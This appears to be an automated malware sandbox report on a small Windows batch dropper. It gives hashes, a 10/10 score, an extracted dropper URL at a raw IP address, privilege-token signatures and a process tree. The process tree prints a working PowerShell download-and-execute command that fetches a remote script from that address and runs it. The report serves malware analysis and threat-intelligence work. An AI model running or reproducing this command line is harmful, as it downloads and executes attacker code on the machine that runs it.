26044d6010566eb7dd69bf7aa8595f0aa4b739d18418526591bd1bf544f91b4a | Triage

Analysis

max time kernel
64s
max time network
68s
platform
windows10_x64
resource
win10v200430
submitted
03-06-2020 23:10

Sharing

Report Analysis Logs

General

Target

837314d5a05e52f9e0f09a5a473497d3.bat
Size

219B
MD5

e87a8c6ada089d0fc3473fb4ba1558c2
SHA1

dd36ca2fa4407f895a6261a1cfee402482ed0bc9
SHA256

26044d6010566eb7dd69bf7aa8595f0aa4b739d18418526591bd1bf544f91b4a
SHA512

254f838fba727d5a1fc5a71a60182b9b940e0fcb93a0797e335ee99e46d4a8ea2d7a613f7ee72a567146a7d13ff2bc20f8187eb199bd336969eedfed6403ed4c

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/837314d5a05e52f9e0f09a5a473497d3

Signatures

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

WerFault.exe

description pid process

Token: SeRestorePrivilege 400 WerFault.exe
Token: SeBackupPrivilege 400 WerFault.exe
Token: SeDebugPrivilege 400 WerFault.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

Processes:

WerFault.exe

pid	process
400	WerFault.exe
400	WerFault.exe
400	WerFault.exe
400	WerFault.exe
400	WerFault.exe
400	WerFault.exe
400	WerFault.exe
400	WerFault.exe
400	WerFault.exe
400	WerFault.exe
400	WerFault.exe
400	WerFault.exe
400	WerFault.exe

Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

400 584 WerFault.exe powershell.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\837314d5a05e52f9e0f09a5a473497d3.bat"
1⤵
PID:2536

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/837314d5a05e52f9e0f09a5a473497d3');Invoke-VPQRVSXXHIUV;Start-Sleep -s 10000"
2⤵
PID:584

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 584 -s 704
3⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Program crash
PID:400

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

memory/400-0-0x0000000004C30000-0x0000000004C31000-memory.dmp

Filesize
4KB

Download
memory/400-2-0x0000000005360000-0x0000000005361000-memory.dmp

Filesize
4KB

Download